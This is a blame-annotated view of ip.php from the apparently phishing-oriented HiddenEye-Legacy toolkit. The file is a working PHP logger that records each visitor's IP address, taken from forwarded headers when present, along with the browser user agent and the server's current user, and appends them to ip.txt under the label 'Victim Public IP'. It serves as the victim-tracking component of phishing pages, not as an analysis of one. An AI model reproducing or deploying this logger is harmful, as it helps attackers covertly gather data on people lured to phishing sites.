HiddenEye-Legacy/WebPages/ip.php

34 lines
829 B
PHP
Raw Normal View History

2018-06-07 17:15:57 +08:00
<?php
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
2018-12-08 13:31:22 +08:00
2018-06-08 19:48:55 +08:00
$browser = $_SERVER['HTTP_USER_AGENT'];
2019-08-03 12:35:04 +08:00
$useragent = "User-Agent: " . $browser;
2018-06-08 19:48:55 +08:00
2018-12-08 13:31:22 +08:00
$user = get_current_user();
2018-06-07 17:15:57 +08:00
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
2020-01-20 16:14:00 +08:00
$victim = "\r\n"."Victim Public IP: " . $ipaddress;
2018-12-08 13:31:22 +08:00
2020-01-20 16:14:00 +08:00
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user ."\r\n";
2018-12-08 13:31:22 +08:00
2018-06-07 17:15:57 +08:00
$fp = fopen($file, 'a');
fwrite($fp, $victim);
2018-06-08 19:48:55 +08:00
fwrite($fp, $useragent);
2018-12-08 13:31:22 +08:00
fwrite($fp, $currentuser);
2018-06-08 19:48:55 +08:00
2018-06-07 17:15:57 +08:00
fclose($fp);